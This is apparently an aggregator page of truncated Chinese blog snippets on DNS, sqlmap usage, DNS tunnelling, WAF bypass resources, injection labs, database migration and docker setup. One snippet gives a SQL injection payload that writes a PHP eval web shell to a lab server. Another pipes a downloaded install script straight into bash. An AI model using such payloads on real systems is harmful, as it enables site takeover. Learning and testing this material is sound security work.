Data Exfiltration with DNS in MSSQL SQLi attacks

DNS解析过程 DNS解析过程 DNS 查询的过程如下图1所示. 图1 文字举例说明: 假定浏览器想知道域名xprp8i.dnslog.cn的IP地址. 1.浏览器先向本地DNS服务器进行递归查询. 2.本地域名服务器采用迭代查询.它先向一个根域名服务器查询. 3.根域名服务器告诉本地DNS服务器,下一次应查询的顶级域名服务器a.dns.cn的IP地址. 4.本地域名服务器向顶级域名服务器a.dns.cn进行查询. 5.顶级域名服务器dns.cn告诉本地域名服务器,下一步应查询的权限服务器ns1…

sqlmap中文手册

Sqlmap中文手册 -Darren制作零.前言 Sqlmap是十分著名的.自动化的SQL注入工具.为了较为系统地学习Sqlmap,我决定翻译一遍Sqlmap的用户手册,于是便有了此文.由于我英语学得很差,所以翻译地不好.基本上是意译,还加入了我自己的东西,和原文有较大差距. 一.Sqlmap是什么 Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL.Oracle.PostgreSQL.Microsoft SQL Server.Microsoft…

sqlmap的使用

安全测试===sqlmap(壹)转载六.优化这些参数可以优化Sqlmap的性能. 1.一键优化参数:-o 添加此参数相当于同时添加下列三个优化参数: --keep-alive --null-connection --threads=3 (如果没有设置一个更好的值) 这些参数具体含义见后文. 2.HTTP长连接参数:--keep-alive 该参数让Sqlmap使用HTTP长连接.该参数与“--proxy”矛盾. 3.HTTP空连接参数:--null-connection 有一种特殊…

安全测试===sqlmap（壹）转载

六.优化这些参数可以优化Sqlmap的性能. 1.一键优化参数:-o 添加此参数相当于同时添加下列三个优化参数: --keep-alive --null-connection --threads=3 (如果没有设置一个更好的值) 这些参数具体含义见后文. 2.HTTP长连接参数:--keep-alive 该参数让Sqlmap使用HTTP长连接.该参数与“--proxy”矛盾. 3.HTTP空连接参数:--null-connection 有一种特殊的HTTP请求类型可以直接获得HTTP响应…

安全测试===sqlmap（肆）转载

十八.杂项 1.使用简写参数:-z 有些参数组合是被经常用到的,如“--batch --random-agent --ignore-proxy --technique=BEU”,这样写一大串很不好看,在Sqlmap中,提供了一种简写的方式来缩短命令长度. 利用参数“-z”,每个参数都可以只写前几个字母,如“--batch”可以简写为“bat”.简写的原则是能够有所区别.对应的参数唯一就行.各个参数用逗号隔开.如: python sqlmap.py --batch --random-agent…

一个DNS统计,RCFs,工具站点

RCFs http://www.statdns.com/rfc/ DNS resources A collection of DNS related resources DNS Servers Name Description BIND The most widely used DNS software on the Internet Bundy Integrated authoritative DNS and DHCP server (the continuation of the BIND…

DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测

1. DNS隧道简介 DNS隧道技术是指利用 DNS协议建立隐蔽信道,实现隐蔽数据传输.最早是在2004年 DanKaminsky 在 Defcon大会上发布的基于 NSTX 的 DNS隐蔽隧道工具,相关链接. 之后出现了越来越多的DNS隐蔽通道工具,例如 . iodine: https://github.com/yarrick/iodine This is a piece of software that lets you tunnel IPv4 data through a DNS se…

记一次MSSQL到MySQL大数据迁移过程

工作中遇到一个需求要将MSSQL数据库中共计12张表的数据大概1000W行数据迁移到MySQL数据库中,去年另一个同事负责这件事情,他采用的方法是先将MSSQL数据库里的数据生成同MySQL数据库表结构一致的12张表,然后用我提供的一个delphi写的一个工具来进行迁移.工具用的UniDAC的TCRBatchMove控件批量移动数据控件,开始测试了小批量数据效果还不错.最后在迁移数据汇总时程序运行几个小时也没完,还出现卡死的情况.后来采用生成SQL语句的方式,生成出来的SQL有2G多,在查询工…

python dns 服务器

import socketserver import struct import threading # DNS Query class SinDNSQuery: def __init__(self, data): i = 1 self.name = '' while True: d = data[i] if d == 0: break; if d < 32: self.name = self.name + '.' else: self.name = self.name + chr(d) i =…

PatentTips - Data Plane Packet Processing Tool Chain

BACKGROUND The present disclosure relates generally to systems and methods for providing a data plane processing tool chain for processing packets using OSI layers 4 and above in the data plane. With the development of multi-core processors, applicat…

17、DNS服务器

DNS domain name system 域名系统 [root@li ~]# vim /etc/nsswitch.conf hosts: files dns --涉及到名称翻译的都会先查找/etc/hosts,再查找DNS www.baidu.com --> 公网的IP地址 TCP/IP 架构的网络都是以IP地址做为识别的,做逻辑寻址但是因为客户不可能记得住那么多IP地址,所以使用一个域名,而DNS做的就是把域名解析为IP地址主机名和域名的区别?…

毕业设计之dns搭建：

[apps@dns_sever ~]$ sudo yum install -y bind [apps@dns_sever ~]$ sudo vim /etc/named.conf // // named.conf // // Provided by Red Hat bind package to configure the ISC BIND named(8) DNS // server as a caching only nameserver (as a localhost DNS resolv…

BlackArch-Tools

BlackArch-Tools 简介安装在ArchLinux之上添加存储库从blackarch存储库安装工具替代安装方法BlackArch Linux Complete Tools List 简介 BlackArch Linux是针对渗透测试人员和安全研究人员的基于Arch Linux的渗透测试分发版.BlackArch Linux预装有上千种专用工具以用于渗透测试和计算机取证分析.BlackArch Linux与现有的Arch安装兼容.您可以单独或成组安装工具.https://blackar…

网络流量预测国内外研究现状【见评论】——传统的ARIMA、HMM模型，目前LSTM、GRU、CNN应用较多，貌似小波平滑预处理步骤非常关键

Time Series Anomaly Detection in Network Traffic: A Use Case for Deep Neural Networks from:https://jask.com/time-series-anomaly-detection-in-network-traffic-a-use-case-for-deep-neural-networks/ Introduction As the waves of the big data revolution cas…

各种WAF绕过手法学习

原文:https://mp.weixin.qq.com/s/aeRi1lRnKcs_N2JLcZZ0Gg 0X00 Fuzz/爆破 fuzz字典 1.Seclists/Fuzzing https://github.com/danielmiessler/SecLists/tree/master/Fuzzing 2.Fuzz-DB/Attack https://github.com/fuzzdb-project/fuzzdb/tree/master/attack 3.Other Payload…

ModSecurity web application firewall (WAF) Research

catalog . 引言 . OWASP ModSecurity Core Rule Set (CRS) Project . Installation mod_security for Apache . Installation mod_security for nginx . Installation mod_security for IIS . mod_security Configuration Directives . Processing Phases . Variables . Tr…

[转]Windows Azure上安装SharePoint 2013

基于Windows Azure 安装SharePoint 2013 前段时间写的基于Windows Azure安装SharePoint系列,由于Azure的体验账号过期了,所以不得不暂停.今天有幸参加Windwos Azure的活动,并得到了试用账号.所以今天将继续之前的文章,记录一下如何基于Windows Azure安装SharePoint 2013. 实验将完成以下步骤: · 在Windows Azure中创建地缘组 · 在Windows Azure中创建存储账户 · 在Windows Az…

sqlmap续

sqlmap续注入语句(知道绝对路径时候可用) http://192.168.99.171/test2/sqli/example10.php?catid=3’union select 1,’<? @eval($_POST[xy])?>’,3,4 into outfile ‘C:/xampp/htdocs/test2/xinyu2.php‘--+ 检测注入:http://192.168.99.171/test/xinyu2.php若有返回内容则已经写入 form表单 --random-agen…

Security+学习笔记

第二章风险分析风险管理评估:确定并评估系统中存在的风险分析:分析风险对系统产生的潜在影响响应:规划如何响应风险的策略缓解: 缓解风险对未来安全造成的不良影响风险分析流程资产确定漏洞确定威胁评估可能性量化影响分析应对措施确认风险分类: 自然人为系统风险计算 :ALE(年度损失预期, annual loss expectancy) = SLE(单一损失预期,single loss expectancy)* ARO(年发生率,annual rate of occurr…

Portswigger web security academy：OS command injection

Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command injection OS command injection, simple case Blind OS command injection with time delays Blind OS command injection with out put redirection Blind OS…

Portswigger web security academy：SQL injection

Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL injection vulnerability in WHERE clause allowing retrieval of hidden data SQL injection vulnerability allowing login bypass SQL injection UNION attac…

Informix SDK對比

一.基本信息對比表 1. Informix .NET Provider 和 IBM Data Server .NET Provider 的对比特性 IBM Informix .NET Provider IBM Data Server .NET Provider 协议支持 SQLI DRDA Informix 服务器支持任何支持的 IDS 版本只限 Informix v11.10 或更高版本 LOB (BLOB & CLOB) 列大小限制 4 TB 2 GB 对 .NET framew…

What's DB2 模式?

近期负责一个银行方面的项目,需要用到DB2实现多数据库版本切换.初步接触DB2,对于它的管理工具(IBM DATA STUDIO)虽然与ORACLE\MSSQL大同小异,但还是有些东西不一样的.比如什么是它的模式. 如图: 实际上DB2的SQL结构跟MSSQL也相差无几,但在不了解什么是DB2模式的情况下,写个 SECLECT * FROM TABLES 会提示未定义的TABLES.很疼!请看如下资料: DB2模式简介: 模式(Schema)是一个逻辑分组,每个数据库内部的对象在创建时,都可以…

[python网络编程]DNSserver

在上一篇中,使用scrapy改动源IP发送请求的最后我们提到因为hosts文件不支持正则,会导致我们的随机域名DNS查询失败. 使用DNS代理服务器能够解决问题, 以下是我用gevent写的小工具.非常easy.我们仅仅拦截匹配的A记录.然后发送DNS Response,假设不匹配,那么我们服务器就是一个DNS代理,转发请求. # -*- coding=utf-8 -*- import struct from cStringIO import StringIO from collections…

配置SQL Server on Linux（2）

1. 前言前一篇配置SQL Server on Linux(1),地址:http://www.cnblogs.com/fishparadise/p/8125203.html ,是关于更改数据库排序规则的.实现的原理跟在Windows平台差不多,都是需要备份用户数据库,重建系统数据库来实现的,不过操作过程简化了.下面的配置是一些常规的设置,比如最大内存,默认数据文件位置,等. 2. 环境 Linux: CentOS 7.4,SQL Server 2017 (RC2) - 14.0.900.75…

linux中使用docker-compose部署软件配置分享

本篇将分享一些 docker-compose 的配置,可参考其总结自己的一套基于docker的开发/生产环境配置. 安装docker及docker-compose install docker curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun install docker-compose sudo curl -L https://github.com/docker/compose/releases/downloa…